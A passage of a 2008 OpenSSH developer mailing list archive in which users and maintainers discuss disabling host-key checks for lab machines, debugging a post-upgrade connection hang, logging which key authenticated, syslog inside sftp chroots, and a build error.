man-in-the-middle attacks and that there is a risk of lazy users mis-using this feature, but it would be very useful for us using SSH in a lab environment where the host key of the equipment frequently changes. I've often thought about this too, however I can't bring myself to skipping hostkey checks all together, that's just crazy talk. One thing I thought might be reasonable was a .ssh/unknown_hosts file where you could list hostsnames or IPs or maybe even IP ranges that would not be strictly enforced. Maybe it would still cache the key and let you know its changed (useful for when someone reinstalls your lab system without telling you.) Of course, I haven't started working on this patch, so... -matt From mloftis at wgops.com Sat Jun 21 05:14:04 2008 From: mloftis at wgops.com (Michael Loftis) Date: Fri, 20 Jun 2008 13:14:04 -0600 Subject: Flag to turn off host-key check In-Reply-To: <614912.36780.qm@web30705.mail.mud.yahoo.com> References: <614912.36780.qm@web30705.mail.mud.yahoo.com> Message-ID: <92C484726C4E03414B3D374E@ZOP-MACTEL.local> --On June 20, 2008 11:04:18 AM -0700 Tobias Karlsson wrote: > Let me start by saying that I think OpenSSH is a great tool and thanks to > everyone contributing to it's existence. > > However, I have a request: > > I'd like to have a flag that ignores the check of the host key. I'm fully > aware of that this opens up for man-in-the-middle attacks and that there > is a risk of lazy users mis-using this feature, but it would be very > useful for us using SSH in a lab environment where the host key of the > equipment frequently changes. StrictHostKeyChecking [yes|no|ask] defaults to ask. ssh -o 'StrictHostKeyChecking no' or in ‾/.ssh/config/. > > > > > > > _______________________________________________ > openssh-unix-dev mailing list > openssh-unix-dev at mindrot.org > https://lists.mindrot.org/mailman/listinfo/openssh-unix-dev -- "Genius might be described as a supreme capacity for getting its possessors into trouble of all kinds." -- Samuel Butler From mloftis at wgops.com Sat Jun 21 05:17:10 2008 From: mloftis at wgops.com (Michael Loftis) Date: Fri, 20 Jun 2008 13:17:10 -0600 Subject: Flag to turn off host-key check In-Reply-To: <92C484726C4E03414B3D374E@ZOP-MACTEL.local> References: <614912.36780.qm@web30705.mail.mud.yahoo.com> <92C484726C4E03414B3D374E@ZOP-MACTEL.local> Message-ID: Sorry I hit send before I finished composing.... Using that option in combination with some form of DDNS update script and VerifyHostKeyDNS would get you what you want, with current software. It is a workaround, yes. --On June 20, 2008 1:14:04 PM -0600 Michael Loftis wrote: > > --On June 20, 2008 11:04:18 AM -0700 Tobias Karlsson > wrote: > >> Let me start by saying that I think OpenSSH is a great tool and thanks to >> everyone contributing to it's existence. >> >> However, I have a request: >> >> I'd like to have a flag that ignores the check of the host key. I'm fully >> aware of that this opens up for man-in-the-middle attacks and that there >> is a risk of lazy users mis-using this feature, but it would be very >> useful for us using SSH in a lab environment where the host key of the >> equipment frequently changes. > > StrictHostKeyChecking [yes|no|ask] defaults to ask. > > ssh -o 'StrictHostKeyChecking no' > or in ‾/.ssh/config/. > > >> >> >> >> >> >> >> _______________________________________________ >> openssh-unix-dev mailing list >> openssh-unix-dev at mindrot.org >> https://lists.mindrot.org/mailman/listinfo/openssh-unix-dev > > > > -- > "Genius might be described as a supreme capacity for getting its > possessors into trouble of all kinds." > -- Samuel Butler > _______________________________________________ > openssh-unix-dev mailing list > openssh-unix-dev at mindrot.org > https://lists.mindrot.org/mailman/listinfo/openssh-unix-dev -- "Genius might be described as a supreme capacity for getting its possessors into trouble of all kinds." -- Samuel Butler From nsheridan at google.com Sat Jun 21 07:18:20 2008 From: nsheridan at google.com (Niall Sheridan) Date: Fri, 20 Jun 2008 22:18:20 +0100 Subject: Flag to turn off host-key check In-Reply-To: <614912.36780.qm@web30705.mail.mud.yahoo.com> References: <614912.36780.qm@web30705.mail.mud.yahoo.com> Message-ID: On Fri, Jun 20, 2008 at 7:04 PM, Tobias Karlsson wrote: > Let me start by saying that I think OpenSSH is a great tool and thanks to everyone contributing to it's existence. > > However, I have a request: > > I'd like to have a flag that ignores the check of the host key. I'm fully aware of that this opens up for man-in-the-middle attacks and that there is a risk of lazy users mis-using this feature, but it would be very useful for us using SSH in a lab environment where the host key of the equipment frequently changes. > Try setting the following: UserKnownHostsFile /dev/null StrictHostKeyChecking no - Niall From asn1 at mindspring.com Fri Jun 20 22:29:03 2008 From: asn1 at mindspring.com (asn1 at mindspring.com) Date: Fri, 20 Jun 2008 08:29:03 -0400 Subject: OpenSSH <--> SSH Tectia Message-ID: <380-22008652012293900@M2W006.mail2web.com> Can I use OpenSSH on one end of a connection (Solaris 10) and use the commercial SSH Tectia software on the other end (zOS)? -------------------------------------------------------------------- myhosting.com - Premium Microsoft? Windows? and Linux web and application hosting - http://link.myhosting.com/myhosting From john.destefano at gmail.com Sat Jun 21 06:00:16 2008 From: john.destefano at gmail.com (John DeStefano) Date: Fri, 20 Jun 2008 16:00:16 -0400 Subject: SSH connection hang after upgrade In-Reply-To: References: <904B9911-54BE-4629-935F-2F0A3CB3A778@gmail.com> <5BCBB2A9-1C0A-4B3C-9655-E2A7D7DEA8CD@gmail.com> Message-ID: On Jun 20, 2008, at 2:54 PM, Ben Lindstrom wrote: > There is a difference between a RSA1 key (RSA for ssh v1 protocol) > and an RSA key (RSA for ssh v2 protocol). So that has nothing to do > with what you are seeing. > - Ben OK; thanks ... but if 'Protocol 2' is specified in sshd_config, should sshd be looking for an 'RSA1 key'? And why would it look at .ssh/ id_rsa instead of looking for .ssh/identity, which doesn't exist on my system but I believe is the file used for SSH v1 RSA? Is there a way to prevent it from doing so? Thanks, ‾John > On Fri, 20 Jun 2008, John DeStefano wrote: > >> Hello, >> >> Any help, please? Could this possibly be a bug with 'portable' >> OpenSSH 5.0p_1 on Mac OS X 10.5.3? I don't understand why the daemon >> is saying my private key is "Not a RSA1 key file" when it _is_ a >> valid >> RSA key file ... or why the daemon is trying to read the private key >> in the first place: as long as the SSH Agent is working properly, >> shouldn't it be the _public_ key it looks for? >> >> Thanks, >> ‾John >> >> On Jun 18, 2008, at 6:16 PM, John DeStefano wrote: >> >>> I recently had to upgrade my version of OpenSSH from 4.7 to 5.0p1 on >>> my >>> MacBook (Darwin). I installed the latest 'portable' tarball and >>> removed the system version: >>> $ ssh -V >>> OpenSSH_5.0p1, OpenSSL 0.9.7l 28 Sep 2006 >>> $ which ssh >>> /usr/bin/ssh >>> >>> sshd is the same version, installed in /usr/sbin/sshd. Now, things >>> are >>> a bit broken: I am able to ssh from another machine into my MacBook, >>> so the server (sshd) is working, but the outgoing client (ssh) hangs >>> indefinitely on connect. ssh-add also hangs on any operation. ssh- >>> agent shows: >>> SSH_AUTH_SOCK=/tmp/ssh-35xNGanxBs/agent.2282; export SSH_AUTH_SOCK; >>> SSH_AGENT_PID=2283; export SSH_AGENT_PID; >>> echo Agent pid 2283; >>> >>> The interesting bits from an 'ssh -vvv localhost' session are: >>> ... >>> debug3: Not a RSA1 key file /Users/jd/.ssh/id_rsa. >>> debug2: key_type_from_name: unknown key type '-----BEGIN' >>> debug3: key_read: missing keytype >>> debug2: key_type_from_name: unknown key type 'Proc-Type:' >>> debug3: key_read: missing keytype >>> debug2: key_type_from_name: unknown key type 'DEK-Info:' >>> debug3: key_read: missing keytype >>> debug3: key_read: missing whitespace >>> ... >>> debug3: key_read: missing whitespace >>> debug2: key_type_from_name: unknown key type '-----END' >>> debug3: key_read: missing keytype >>> >>> The ssh connection attempt just hangs and sits at: >>> ... >>> debug2: service_accept: ssh-userauth >>> debug1: SSH2_MSG_SERVICE_ACCEPT received >>> >>> I don't know why the error 'Not a RSA1 key file' comes up, as my >>> private key (id_rsa) remains unchanged and begins: >>> -----BEGIN RSA PRIVATE KEY----- >>> Proc-Type: 4,ENCRYPTED >>> DEK-Info: DES-EDE3-CBC,... >>> >>> Other points of interest: >>> 'ssh-keygen -B' correctly identifies my private key and returns what >>> appears to be a valid bubble-babble digest, beginning with >>> '1024 ...' >>> 'ssh-keygen -l' correctly identifies my private key and returns what >>> appears to be a valid fingerprint, beginning with '1024 ...' >>> 'ssh-keygen -y' correctly identifies my private key, asks for my >>> pass phrase, and returns my public key, beginning with 'ssh-rsa ...' >>> I haven't knowingly enabled any RSA-related settings in sshd_config, >>> and HostKey remains commented out. >>> >>> Any thoughts on what may be wrong, whether this is a bug or >>> something I've screwed up, or what else I can try? >>> >>> Thanks, >>> ‾John >> >> _______________________________________________ >> openssh-unix-dev mailing list >> openssh-unix-dev at mindrot.org >> https://lists.mindrot.org/mailman/listinfo/openssh-unix-dev >> From stuge-openssh-unix-dev at cdy.org Sat Jun 21 10:05:16 2008 From: stuge-openssh-unix-dev at cdy.org (Peter Stuge) Date: Sat, 21 Jun 2008 02:05:16 +0200 Subject: OpenSSH <--> SSH Tectia In-Reply-To: <380-22008652012293900@M2W006.mail2web.com> References: <380-22008652012293900@M2W006.mail2web.com> Message-ID: <20080621000516.31139.qmail@cdy.org> On Fri, Jun 20, 2008 at 08:29:03AM -0400, asn1 at mindspring.com wrote: > Can I use OpenSSH on one end of a connection (Solaris 10) and use the > commercial SSH Tectia software on the other end (zOS)? If they both implement the same SSH protocol, then yes! //Peter From stuge-openssh-unix-dev at cdy.org Sat Jun 21 10:08:20 2008 From: stuge-openssh-unix-dev at cdy.org (Peter Stuge) Date: Sat, 21 Jun 2008 02:08:20 +0200 Subject: SSH connection hang after upgrade In-Reply-To: References: <904B9911-54BE-4629-935F-2F0A3CB3A778@gmail.com> <5BCBB2A9-1C0A-4B3C-9655-E2A7D7DEA8CD@gmail.com> Message-ID: <20080621000820.950.qmail@cdy.org> On Fri, Jun 20, 2008 at 04:00:16PM -0400, John DeStefano wrote: > OK; thanks ... but if 'Protocol 2' is specified in sshd_config, > should sshd be looking for an 'RSA1 key'? Protocol is about what sshd speaks on the network. But granted - there is no point in dealing with SSH v1 keys when using protocol version v2. Please send patches. :) > And why would it look at .ssh/id_rsa instead of looking for > .ssh/identity, Because .ssh/id_rsa is the default SSH v2 RSA key filename. > which doesn't exist on my system but I believe is the file used for > SSH v1 RSA? Is there a way to prevent it from doing so? .ssh/identity is the default SSH v1 key filename. The key thing is not a problem - that's just how sshd looks for keys. I'm afraid I can't provide any good suggestions about the real problem. :¥ //Peter From yakkuru at atlas.cz Fri Jun 20 22:15:53 2008 From: yakkuru at atlas.cz (S.Svec) Date: Fri, 20 Jun 2008 14:15:53 +0200 Subject: Is it possible to execute commands without allocate pty? Message-ID: Hi, I am currently implementing SSH ver1 client for my school work and testing it with OpenSSH servers. Unfortunately I cannot execute commands after succesful login without allocate pty. My client send SSH_CMSG_EXEC_SHELL packet on server, but dont receive any answer. According RFC defined SSH1, server should send SSH_SMSG_SUCCESS or SSH_SMSG_FAILURE message. So I tried send SSH_CMSG_EXEC_CMD with command, but after executing command server send EXIT_STATUS message. I dont understand why, because RFC document define EXEC_CMD message this way: "Starts executing the given command, and enters interactive session mode." Would you please explain me why OpenSSH server doesnt response to SSH_CMSG_EXEC_SHELL message or closing connection after EXEC_CMD message? Thank you. S.Svec (CZ) From dkg-openssh.com at fifthhorseman.net Sun Jun 22 23:33:36 2008 From: dkg-openssh.com at fifthhorseman.net (Daniel Kahn Gillmor) Date: Sun, 22 Jun 2008 09:33:36 -0400 Subject: Flag to turn off host-key check In-Reply-To: (Niall Sheridan's message of "Fri¥, 20 Jun 2008 22¥:18¥:20 +0100") References: <614912.36780.qm@web30705.mail.mud.yahoo.com> Message-ID: <87od5tmw5r.fsf@squeak.fifthhorseman.net> A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 826 bytes Desc: not available Url : http://lists.mindrot.org/pipermail/openssh-unix-dev/attachments/20080622/206a1bd0/attachment.bin From jtesta at positronsecurity.com Mon Jun 23 13:42:02 2008 From: jtesta at positronsecurity.com (Joe Testa) Date: Sun, 22 Jun 2008 23:42:02 -0400 Subject: sshd key comment logging Message-ID: <485F1B8A.7060203@positronsecurity.com> Hi, I admin a box that has Subversion users authenticate with public keys to a restricted 'svnuser' account. The comment field of all the keys describe who they belong to (it has their usernames), but unfortunately, sshd does not log this when a user successfully authenticates: Jun 21 08:18:22 localhost sshd[23636]: Accepted publickey for svnuser from x.x.x.x port 2065 ssh2 Jun 21 08:18:24 localhost sshd[23668]: Accepted publickey for svnuser from y.y.y.y port 2067 ssh2 The above two logins were for two distinct keys with distinct comment fields. However, as you can see, the logs they generate are indistinguishable; I can't easily tell what two users these are. I've tested this against OpenSSH v5.0 with LogLevel set to VERBOSE. Am I correct in that sshd does not support logging of the key's comment field? If so, then I volunteer to implement the feature. Just let me know and I'll get started. I'm looking forward to doing some development work. Thanks! - Joe -- Joseph S. Testa II | Senior Security Consultant Positron Security, LLC. http://www.positronsecurity.com Phone: (585) 643-5900 AIM / Skype: TheRealJoeTesta From dtucker at zip.com.au Mon Jun 23 15:23:50 2008 From: dtucker at zip.com.au (Darren Tucker) Date: Sun, 22 Jun 2008 23:23:50 -0600 Subject: sshd key comment logging In-Reply-To: <485F1B8A.7060203@positronsecurity.com> References: <485F1B8A.7060203@positronsecurity.com> Message-ID: On Sun, Jun 22, 2008 at 9:42 PM, Joe Testa wrote: > I admin a box that has Subversion users authenticate with public keys > to a restricted 'svnuser' account. The comment field of all the keys > describe who they belong to (it has their usernames), but unfortunately, > sshd does not log this when a user successfully authenticates: > > Jun 21 08:18:22 localhost sshd[23636]: Accepted publickey for svnuser > from x.x.x.x port 2065 ssh2 > Jun 21 08:18:24 localhost sshd[23668]: Accepted publickey for svnuser > from y.y.y.y port 2067 ssh2 > > The above two logins were for two distinct keys with distinct comment > fields. However, as you can see, the logs they generate are > indistinguishable; I can't easily tell what two users these are. I've > tested this against OpenSSH v5.0 with LogLevel set to VERBOSE. > > Am I correct in that sshd does not support logging of the key's > comment field? It doesn't support logging the comment field, but it does support logging the key fingerprint, which uniquely identifies the key (which the comment doesn't) but it's logged at level DEBUG1 not VERBOSE. (See, eg auth2-pubkey.c and look for "Found matching"). Also, from memory the message is logged by the privsep slave, so in order for it to work you need a /dev/log inside the privsep chroot for it to work. -- Darren Tucker (dtucker at zip.com.au) GPG key 8FF4FA69 / D9A3 86E9 7EEE AF4B B2D4 37C9 C982 80C7 8FF4 FA69 Good judgement comes with experience. Unfortunately, the experience usually comes from bad judgement. From john.destefano at gmail.com Tue Jun 24 02:14:10 2008 From: john.destefano at gmail.com (John DeStefano) Date: Mon, 23 Jun 2008 12:14:10 -0400 Subject: SSH connection hang after upgrade Message-ID: <55FF80B0-2399-4A31-B135-D77526127A2E@gmail.com> Peter Stuge wrote: > On Fri, Jun 20, 2008 at 04:00:16PM -0400, John DeStefano wrote: > > OK; thanks ... but if 'Protocol 2' is specified in sshd_config, > > should sshd be looking for an 'RSA1 key'? > > Protocol is about what sshd speaks on the network. > > But granted - there is no point in dealing with SSH v1 keys when > using protocol version v2. Please send patches. :) > > > And why would it look at .ssh/id_rsa instead of looking for > > .ssh/identity, > > Because .ssh/id_rsa is the default SSH v2 RSA key filename. Yes, but this seems to conflict with the 'RSA1' message I'm getting: if the daemon is truly looking for a protocol v1 key, why would it bother moving past the absence of an 'identity' key file and on to other files (of newer protocols)? > > which doesn't exist on my system but I believe is the file used for > > SSH v1 RSA? Is there a way to prevent it from doing so? > > .ssh/identity is the default SSH v1 key filename. Right; this much I know. > The key thing is not a problem - that's just how sshd looks for keys. I understand what you're saying, but it seems like the key thing _is_ keeping the daemon from functioning properly in my case. Something is telling it to look for a protocol v1 key, and for nothing else, and I can't figure out what it is. > I'm afraid I can't provide any good suggestions about the real > problem. :¥ Me either; this is really baffling me: I can use the very same key (and other keys I've tested) with the 'ssh' client to connect remotely, and successfully, to other hosts. I just can't connect to my own 'sshd' service. Thanks, ‾John From mouring at eviladmin.org Tue Jun 24 05:07:20 2008 From: mouring at eviladmin.org (Ben Lindstrom) Date: Mon, 23 Jun 2008 14:07:20 -0500 (CDT) Subject: SSH connection hang after upgrade In-Reply-To: <55FF80B0-2399-4A31-B135-D77526127A2E@gmail.com> References: <55FF80B0-2399-4A31-B135-D77526127A2E@gmail.com> Message-ID: My first recommentation is to run a sshd 5.0 client on a higher port with -ddd and see what is causing it to hang on the server side. This will give you more useful information as to what is hanging. - Ben On Mon, 23 Jun 2008, John DeStefano wrote: > Peter Stuge wrote: >> On Fri, Jun 20, 2008 at 04:00:16PM -0400, John DeStefano wrote: >>> OK; thanks ... but if 'Protocol 2' is specified in sshd_config, >>> should sshd be looking for an 'RSA1 key'? >> >> Protocol is about what sshd speaks on the network. >> >> But granted - there is no point in dealing with SSH v1 keys when >> using protocol version v2. Please send patches. :) >> >>> And why would it look at .ssh/id_rsa instead of looking for >>> .ssh/identity, >> >> Because .ssh/id_rsa is the default SSH v2 RSA key filename. > > Yes, but this seems to conflict with the 'RSA1' message I'm getting: > if the daemon is truly looking for a protocol v1 key, why would it > bother moving past the absence of an 'identity' key file and on to > other files (of newer protocols)? > >>> which doesn't exist on my system but I believe is the file used for >>> SSH v1 RSA? Is there a way to prevent it from doing so? >> >> .ssh/identity is the default SSH v1 key filename. > > Right; this much I know. > >> The key thing is not a problem - that's just how sshd looks for keys. > > I understand what you're saying, but it seems like the key thing _is_ > keeping the daemon from functioning properly in my case. Something is > telling it to look for a protocol v1 key, and for nothing else, and I > can't figure out what it is. > >> I'm afraid I can't provide any good suggestions about the real >> problem. :¥ > > Me either; this is really baffling me: I can use the very same key > (and other keys I've tested) with the 'ssh' client to connect > remotely, and successfully, to other hosts. I just can't connect to > my own 'sshd' service. > > Thanks, > ‾John > _______________________________________________ > openssh-unix-dev mailing list > openssh-unix-dev at mindrot.org > https://lists.mindrot.org/mailman/listinfo/openssh-unix-dev > From john.destefano at gmail.com Tue Jun 24 05:33:04 2008 From: john.destefano at gmail.com (John DeStefano) Date: Mon, 23 Jun 2008 15:33:04 -0400 Subject: SSH connection hang after upgrade In-Reply-To: References: <55FF80B0-2399-4A31-B135-D77526127A2E@gmail.com> Message-ID: <4F58CED8-818F-4A6E-9D5B-880FD5045C7B@gmail.com> On Jun 23, 2008, at 3:07 PM, Ben Lindstrom wrote: > My first recommentation is to run a sshd 5.0 client on a higher port > with -ddd and see what is causing it to hang on the server side. > > This will give you more useful information as to what is hanging. > > - Ben Thanks. Let me know what you make of this: http://deesto.pastebin.com/f3bff0cc8 I was able to restore the 'original' version via installation disc, and the same problem persists. I don't know for sure, but it seems as if there may be an Apple-specific "hidden" configuration file somewhere, related to OpenSSH but not apparent in base config files. Perhaps this needs to change as well with version changes or becomes corrupt. I am grasping at straws, but nothing else makes sense. ‾John > On Mon, 23 Jun 2008, John DeStefano wrote: > >> Peter Stuge wrote: >>> On Fri, Jun 20, 2008 at 04:00:16PM -0400, John DeStefano wrote: >>>> OK; thanks ... but if 'Protocol 2' is specified in sshd_config, >>>> should sshd be looking for an 'RSA1 key'? >>> >>> Protocol is about what sshd speaks on the network. >>> >>> But granted - there is no point in dealing with SSH v1 keys when >>> using protocol version v2. Please send patches. :) >>> >>>> And why would it look at .ssh/id_rsa instead of looking for >>>> .ssh/identity, >>> >>> Because .ssh/id_rsa is the default SSH v2 RSA key filename. >> >> Yes, but this seems to conflict with the 'RSA1' message I'm getting: >> if the daemon is truly looking for a protocol v1 key, why would it >> bother moving past the absence of an 'identity' key file and on to >> other files (of newer protocols)? >> >>>> which doesn't exist on my system but I believe is the file used for >>>> SSH v1 RSA? Is there a way to prevent it from doing so? >>> >>> .ssh/identity is the default SSH v1 key filename. >> >> Right; this much I know. >> >>> The key thing is not a problem - that's just how sshd looks for >>> keys. >> >> I understand what you're saying, but it seems like the key thing _is_ >> keeping the daemon from functioning properly in my case. Something >> is >> telling it to look for a protocol v1 key, and for nothing else, and I >> can't figure out what it is. >> >>> I'm afraid I can't provide any good suggestions about the real >>> problem. :¥ >> >> Me either; this is really baffling me: I can use the very same key >> (and other keys I've tested) with the 'ssh' client to connect >> remotely, and successfully, to other hosts. I just can't connect to >> my own 'sshd' service. >> >> Thanks, >> ‾John >> From mouring at eviladmin.org Tue Jun 24 06:37:54 2008 From: mouring at eviladmin.org (Ben Lindstrom) Date: Mon, 23 Jun 2008 15:37:54 -0500 (CDT) Subject: SSH connection hang after upgrade In-Reply-To: <4F58CED8-818F-4A6E-9D5B-880FD5045C7B@gmail.com> References: <55FF80B0-2399-4A31-B135-D77526127A2E@gmail.com> <4F58CED8-818F-4A6E-9D5B-880FD5045C7B@gmail.com> Message-ID: On Mon, 23 Jun 2008, John DeStefano wrote: > On Jun 23, 2008, at 3:07 PM, Ben Lindstrom wrote: >> My first recommentation is to run a sshd 5.0 client on a higher port with >> -ddd and see what is causing it to hang on the server side. >> >> This will give you more useful information as to what is hanging. >> >> - Ben > > Thanks. Let me know what you make of this: > http://deesto.pastebin.com/f3bff0cc8 > > I was able to restore the 'original' version via installation disc, and the > same problem persists. I don't know for sure, but it seems as if there may > be an Apple-specific "hidden" configuration file somewhere, related to > OpenSSH but not apparent in base config files. Perhaps this needs to change > as well with version changes or becomes corrupt. I am grasping at straws, > but nothing else makes sense. > Things like this bother me.. Client side: Last login: Mon Jun 23 15:13:43 2008 debug3: PAM session not opened, exiting debug3: channel 0: will not send data after close debug2: channel 0: obuf empty debug2: channel 0: close_write Server Side: debug3: mm_request_receive entering debug3: PAM: opening session PAM: pam_open_session(): Cannot make/remove an entry for the specified session debug1: PAM: reinitializing credentials debug1: permanently_set_uid: 501/501 What is odd is after that Server Side commentary it continues to blast through the code as if nothing was wrong. Either PAM did reinitialize right or the error is being ignored. But what seems to be terminating the sesson seems to be the sshd's child (the shell I assume) is dying off sending the parent a SIGCHLD. Which is then closing down everything. That is all I can devine from this. It has been too long since I've looked at the PAM code to know if I'm barking up the wrong tree or not. - Ben From EWoolley at omniture.com Tue Jun 24 07:49:09 2008 From: EWoolley at omniture.com (Evan Woolley) Date: Mon, 23 Jun 2008 15:49:09 -0600 Subject: openssh-5.0p1: sftp transfer logging doesn't appear to work with Message-ID: <7AC90658605963429B7646A71D7CD13D03D7648B@EXCHANGE0.orm.omniture.com> I've implemented the /dev/log socket inside my chroot environment. I'm able to log the users interactions with the server, but I have one remaining issue. The logs don't contain and usernames or userids. The process ID is logged and we could go through and try to associate the process ID with the user who logged in, but I was hoping to find an easier way. We need to be able to generate reports from these logs. Is there a configuration change or patch that would include either userid or username in the line posted to syslog? Thanks for your help! -Evan >On Sun, May 4, 2008 at 12:00 PM, Dan Yefimov wrote: >> On Sun, 4 May 2008, john wrote: >> >> > > What exact steps have you taken to accomplish what Damien proposed? >> > >> >> > Yes sorry Dan, I should have been specific. >> > >> > I created a file in my chroot root called /home/dev/auth.log >> > >> > Then I edited syslogd to write auth log to that location and restarted syslogd. >> > >> It was wrong yet from this point. You should have created directory named 'dev' >> located right in your chroot directory. No syslogd.conf editing was necessary. >> After that you should have reloaded your syslogd with additional >> '-a /dev/log' parameter. And that's all! >> -- >> >> Sincerely Your, Dan. >> > > >Sorry for the delayed response, > >Dan and Peters pointer to using the syslogd -a option worked well. >This is solution is fine for us, if a bit arcane. Since I can imagine >this being a frequent request/complaint/misunderstanding about the way >chrooting works with sftp it might save people a lot of time in the >future if the man page gave a little note and example of how to log >from within an sftp chroot. > >Thanks very much for your help. I really appreciate it! > >John >_______________________________________________ >openssh-unix-dev mailing list >openssh-unix-dev at mindrot.org >https://lists.mindrot.org/mailman/listinfo/openssh-unix-dev From mra at malloc.org Wed Jun 25 02:21:17 2008 From: mra at malloc.org (Matt Anderson) Date: Tue, 24 Jun 2008 12:21:17 -0400 Subject: Flag to turn off host-key check In-Reply-To: <87od5tmw5r.fsf@squeak.fifthhorseman.net> References: <614912.36780.qm@web30705.mail.mud.yahoo.com> <87od5tmw5r.fsf@squeak.fifthhorseman.net> Message-ID: <48611EFD.5040808@malloc.org> Daniel Kahn Gillmor wrote: > Even better would be to enclose those directives underneath a Host > statement that limits these options to the hosts which you expect to > behave in this suboptimal way. e.g.: > > Host *.lab.example.org > UserKnownHostsFile /dev/null > StrictHostKeyChecking no > > That way you don't lose the host key checking protection for any other > hosts. Right, this setup looks ideal for my issue. > Alternately, you could find ways to prevent the host keys on these > machines from changing -- why are they changing like this? In my case at least the OS is blown away and reinstalled fairly often. I guess the keys could be saved off on another host and then copied back each time, but those config file changes above would really simplify things for the couple persistent systems that connect in. -matt From bob at proulx.com Wed Jun 25 03:20:35 2008 From: bob at proulx.com (Bob Proulx) Date: Tue, 24 Jun 2008 11:20:35 -0600 Subject: Flag to turn off host-key check In-Reply-To: <48611EFD.5040808@malloc.org> References: <614912.36780.qm@web30705.mail.mud.yahoo.com> <87od5tmw5r.fsf@squeak.fifthhorseman.net> <48611EFD.5040808@malloc.org> Message-ID: <20080624172035.GA24099@dementia.proulx.com> Matt Anderson wrote: > In my case at least the OS is blown away and reinstalled fairly often. > I guess the keys could be saved off on another host and then copied back > each time, but those config file changes above would really simplify > things for the couple persistent systems that connect in. The previous solution is probably better but as an alternative you could teach the client about the new key after it is generated. Depending upon many things it might be convenient to install random key and then set the client's known_hosts file with the new key using ssh-keyscan. Just a thought... Bob From jtesta at positronsecurity.com Wed Jun 25 12:13:03 2008 From: jtesta at positronsecurity.com (Joe Testa) Date: Tue, 24 Jun 2008 22:13:03 -0400 Subject: sshd key comment logging Message-ID: <4861A9AF.7090201@positronsecurity.com> > It doesn't support logging the comment field, but it does support > logging the key fingerprint, which uniquely identifies the key (which > the comment doesn't) but it's logged at level DEBUG1 not VERBOSE. > (See, eg auth2-pubkey.c and look for "Found matching"). Yep, I've seen it do this while playing around. Even if an admin does enable that level of logging, its pretty hard to memorize the key fingerprints and their owners, especially for large/dynamic environments. I understand that the key comment is not necessarily unique, but in my situation I've made them unique for the purposes of management (so it is clear which key belongs to whom when I need to revoke access), and so logging the comment would restore meaning to log entry. I think it is plausible that there are many installations that do tunneling for Subversion and/or database services over a single system account to warrant this feature. What do you think? (I wasn't sure from your response if you were receptive to my idea. I'd like to know for sure if it has a chance of getting checked into the tree before I start working on it.) Thanks! - Joe -- Joseph S. Testa II | Senior Security Consultant Positron Security, LLC. http://www.positronsecurity.com Phone: (585) 643-5900 AIM / Skype: TheRealJoeTesta From jmknoble at pobox.com Wed Jun 25 15:26:50 2008 From: jmknoble at pobox.com (Jim Knoble) Date: Wed, 25 Jun 2008 01:26:50 -0400 Subject: sshd key comment logging In-Reply-To: <4861A9AF.7090201@positronsecurity.com> References: <4861A9AF.7090201@positronsecurity.com> Message-ID: <20080625052650.GA27463@crawfish.ais.com> Circa 2008-06-24 22:13 dixit Joe Testa: : > It doesn't support logging the comment field, but it does support : > logging the key fingerprint, which uniquely identifies the key (which : > the comment doesn't) but it's logged at level DEBUG1 not VERBOSE. : > (See, eg auth2-pubkey.c and look for "Found matching"). : : Yep, I've seen it do this while playing around. : : Even if an admin does enable that level of logging, its pretty hard to : memorize the key fingerprints and their owners, especially for : large/dynamic environments. I think the idea is to look up the fingerprint rather than memorize it. If you need to do it on the fly, it's not that hard to make a filter or log postprocessor to do the dirty work. : [...] (I wasn't sure from your response if you were receptive to my : idea. I'd like to know for sure if it has a chance of getting checked : into the tree before I start working on it.) I'm not an OpenSSH developer, but i'd guess you're better off spending your time figuring out how to filter or postprocess your logs such that your key fingerprints are looked up. If you feel comfortable relying on the key comments, then you could even look them up in the SSH public key files as opposed to keeping a separate lookup table (although my offhand preference would be the reverse, i.e., to keep the private and public keys in a centrally administered database or LDAP directory somewhere and build the authorized_keys files from the central location). Good luck. -- jim knoble | jmknoble at pobox.com | http://www.pobox.com/‾jmknoble/ (GnuPG key ID: 6F39C2CC >>>>>> http://www.pobox.com/‾jmknoble/keys/ ) (GnuPG fingerprint: 5024:D578:7CF4:5660:7269::F6F3:B919:9307:6F39:C2CC) +----------------------------------------------------------------------+ |[L]iberty, as we all know, cannot flourish in a country that is perma-| | nently on a war footing, or even a near-war footing. --Aldous Huxley| +----------------------------------------------------------------------+ From lbalbalba at gmail.com Fri Jun 27 03:57:30 2008 From: lbalbalba at gmail.com (John Smith) Date: Thu, 26 Jun 2008 19:57:30 +0200 Subject: Strange compile error Message-ID: <6dcf0dbc0806261057s127b68a8xcb36eb3381c3e792@mail.gmail.com> Hi, Ive just downloaded OpenSSH 5.0, but I get some strange errors when I try to do the build on my RHEL4 box : # cd ssh # make obj Makefile:3: *** missing separator. Stop. # make cleandir Makefile:3: *** missing separator. Stop. # make obj Makefile:3: *** missing separator. Stop. Ive followed the instructions as mentioned on the OpenSSH build page, but I can't seem to figure out what I am doing wrong here. Any and all help would sincerely be appreciated. Regards, John Smith From dtucker at zip.com.au Fri Jun 27 05:09:39 2008 From: dtucker at zip.com.au (Darren Tucker) Date: Thu, 26 Jun 2008 12:09:39 -0700 Subject: Strange compile error In-Reply-To: <6dcf0dbc0806261057s127b68a8xcb36eb3381c3e792@mail.gmail.com> References: <6dcf0dbc0806261057s127b68a8xcb36eb3381c3e792@mail.gmail.com> Message-ID: <20080626190938.GA26702@laptop.dtucker.net> On Thu, Jun 26, 2008 at 07:57:30PM +0200, John Smith wrote: > Hi, > > Ive just downloaded OpenSSH 5.0, but I get some strange errors when I > try to do the build on my RHEL4 box : > > # cd ssh > # make obj > Makefile:3: *** missing separator. Stop. > # make cleandir > Makefile:3: *** missing separator. Stop. > # make obj > Makefile:3: *** missing separator. Stop. > > Ive followed the instructions as mentioned on the OpenSSH build page, > but I can't seem to figure out what I am doing wrong here. Any and all > help would sincerely be appreciated. You're following the OpenBSD build instructions on a Linux box. You need the instructions for the Portable release: http://www.openssh.com/portable.html and the openssh-5.0p1.tar.gz tarball. -- Darren Tucker (dtucker at zip.com.au) GPG key 8FF4FA69 / D9A3 86E9 7EEE AF4B B2D4 37C9 C982 80C7 8FF4 FA69 Good judgement comes with experience. Unfortunately, the experience usually comes from bad judgement. From lbalbalba at gmail.com Fri Jun 27 05:13:02 2008 From: lbalbalba at gmail.com (John Smith) Date: Thu, 26 Jun 2008 21:13:02 +0200 Subject: Strange compile error In-Reply-To: <20080626190938.GA26702@laptop.dtucker.net> References: 